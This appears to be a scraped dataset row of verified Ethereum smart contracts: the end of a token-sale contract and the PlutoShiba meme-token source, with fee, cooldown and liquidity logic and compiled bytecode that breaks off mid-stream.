if( _weiAmount == 0.001 ether){
amountOfTokens = 2000 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.005 ether){
amountOfTokens = 22 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 48 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.02 ether){
amountOfTokens = 100 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 270 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
}
|
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610149578063095ea7b3146101d357806318160ddd1461020b57806323b872dd146102325780632ff2e9dc1461025c578063313ce567146102715780634042b66f1461029c57806348c54b9d146102b157806366188463146102c857806370a08231146102ec57806378f7aeee1461030d5780638da5cb5b1461032257806395d89b4114610353578063a6f9dae114610368578063a9059cbb14610389578063b66a0e5d146103ad578063bef97c87146103c2578063d73dd623146103d7578063dd62ed3e146103fb578063e36b0b3714610422578063e985e36714610437578063ec8ac4d81461044c578063f41e60c514610460578063fc38ce191461047a575b61014633610492565b50005b34801561015557600080fd5b5061015e6105c8565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610198578181015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b506101f7600160a060020a03600435166024356105ff565b604080519115158252519081900360200190f35b34801561021757600080fd5b50610220610665565b60408051918252519081900360200190f35b34801561023e57600080fd5b506101f7600160a060020a036004358116906024351660443561066b565b34801561026857600080fd5b506102206107f0565b34801561027d57600080fd5b50610286610800565b6040805160ff9092168252519081900360200190f35b3480156102a857600080fd5b50610220610805565b3480156102bd57600080fd5b506102c661080b565b005b3480156102d457600080fd5b506101f7600160a060020a03600435166024356108b9565b3480156102f857600080fd5b50610220600160a060020a03600435166109a9565b34801561031957600080fd5b506102206109c4565b34801561032e57600080fd5b506103376109ca565b60408051600160a060020a039092168252519081900360200190f35b34801561035f57600080fd5b5061015e6109d9565b34801561037457600080fd5b506101f7600160a060020a0360043516610a10565b34801561039557600080fd5b506101f7600160a060020a0360043516602435610aab565b3480156103b957600080fd5b506102c6610b9a565b3480156103ce57600080fd5b506101f7610be8565b3480156103e357600080fd5b506101f7600160a060020a0360043516602435610bf1565b34801561040757600080fd5b50610220600160a060020a0360043581169060243516610c8a565b34801561042e57600080fd5b506102c6610cc5565b34801561044357600080fd5b506101f7610cfc565b610220600160a060020a0360043516610492565b34801561046c57600080fd5b506102c66004351515610d1d565b34801561048657600080fd5b50610220600435610d47565b6000808080600160a060020a03851615156104ac57600080fd5b60085474010000000000000000000000000000000000000000900460ff1615156001146104d857600080fd5b600854600160a060020a031692503491506104f282610d47565b905080151561050057600080fd5b600654610513908363ffffffff610dc816565b600655600754610529908263ffffffff610dc816565b6007556008546105459086908390600160a060020a0316610dde565b5060408051838152602081018390528151600160a060020a038816927fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f928290030190a2604051600160a060020a0384169083156108fc029084906000818181858888f193505050501580156105bf573d6000803e3d6000fd5b50949350505050565b60408051808201909152600481527f4b59524f00000000000000000000000000000000000000000000000000000000602082015281565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600060033660641461067957fe5b600160a060020a038416151561068e57600080fd5b600160a060020a0385166000908152600460205260409020548311156106b357600080fd5b600160a060020a03851660009081526005602090815260408083203384529091529020548311156106e357600080fd5b60035460ff1615156106f457600080fd5b600160a060020a03851660009081526004602052604090205461071d908463ffffffff610ec916565b600160a060020a038087166000908152600460205260408082209390935590861681522054610752908463ffffffff610dc816565b600160a060020a038086166000908152600460209081526040808320949094559188168152600582528281203382529091522054610796908463ffffffff610ec916565b600160a060020a0380871660008181526005602090815260408083203384528252918290209490945580518781529051928816939192600080516020610f84833981519152929181900390910190a3506001949350505050565b6b09b18ab5df7180b6b800000081565b601281565b60065481565b600854600090600160a060020a0316331461082557600080fd5b600854604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561085f573d6000803e3d6000fd5b50610869306109a9565b60085490915061088290600160a060020a031682610aab565b50600854604080518381529051600160a060020a03909216913091600080516020610f84833981519152919081900360200190a350565b336000908152600560209081526040808320600160a060020a03861684529091528120548083111561090e57336000908152600560209081526040808320600160a060020a0388168452909152812055610943565b61091e818463ffffffff610ec916565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526004602052604090205490565b60075481565b600854600160a060020a031681565b60408051808201909152600281527f4b52000000000000000000000000000000000000000000000000000000000000602082015281565b600854600090600160a060020a03163314610a2a57600080fd5b600160a060020a0382161515610a3f57600080fd5b600854604051600160a060020a038085169216907fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c90600090a35060088054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6000600236604414610ab957fe5b600160a060020a0384161515610ace57600080fd5b33600090815260046020526040902054831115610aea57600080fd5b60035460ff161515610afb57600080fd5b33600090815260046020526040902054610b1b908463ffffffff610ec916565b3360009081526004602052604080822092909255600160a060020a03861681522054610b4d908463ffffffff610dc816565b600160a060020a038516600081815260046020908152604091829020939093558051868152905191923392600080516020610f848339815191529281900390910190a35060019392505050565b600854600160a060020a03163314610bb157600080fd5b6008805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60035460ff1681565b336000908152600560209081526040808320600160a060020a0386168452909152812054610c25908363ffffffff610dc816565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000600236604414610c9857fe5b5050600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600854600160a060020a03163314610cdc57600080fd5b6008805474ff000000000000000000000000000000000000000019169055565b60085474010000000000000000000000000000000000000000900460ff1681565b600854600160a060020a03163314610d3457600080fd5b6003805460ff1916911515919091179055565b600080610d5383610edb565b600854600160a060020a0316600090815260046020526040902054909150811115610dbe57600754604080519182526020820183905280517f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b629281900390910190a160009150610dc2565b8091505b50919050565b600082820183811015610dd757fe5b9392505050565b6000600160a060020a0384161515610df557600080fd5b600160a060020a038216600090815260046020526040902054831115610e1a57600080fd5b600160a060020a038416600090815260046020526040902054610e43908463ffffffff610dc816565b600160a060020a038086166000908152600460205260408082209390935590841681522054610e78908463ffffffff610ec916565b600160a060020a038084166000818152600460209081526040918290209490945580518781529051928816939192600080516020610f84833981519152929181900390910190a35060019392505050565b600082821115610ed557fe5b50900390565b600080821515610ef15750681b1ae4d6e2ef5000005b8266038d7ea4c680001415610f0e57506a01a784379d99db420000005b826611c37937e080001415610f2a57506904a89f54ef0121c000005b82662386f26fc100001415610f465750690a2a15d09519be0000005b8266470de4df8200001415610f62575069152d02c7e14af68000005b8266b1a2bc2ec500001415610dbe575069392cbab546b0ccc00000929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f64c326fa6b9c3cf513e12c9e89a2f860ece075ae3d64d5e1bd2e95a4a3bd0330029
|
{"success": true, "error": null, "results": {}}
| 4,079 |
0x66f7569da6801d558dc39e07e4cb91ec068bff27
|
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-19
/**
* https://t.me/plutoshibatoken
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*
*
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PlutoShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"PlutoShiba | T.me/PlutoShiba";
string private constant _symbol = unicode"PlutoShiba";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280601c81526020017f506c75746f5368696261207c20542e6d652f506c75746f536869626100000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f506c75746f536869626100000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373fffffffffffffffffffffffffffffffff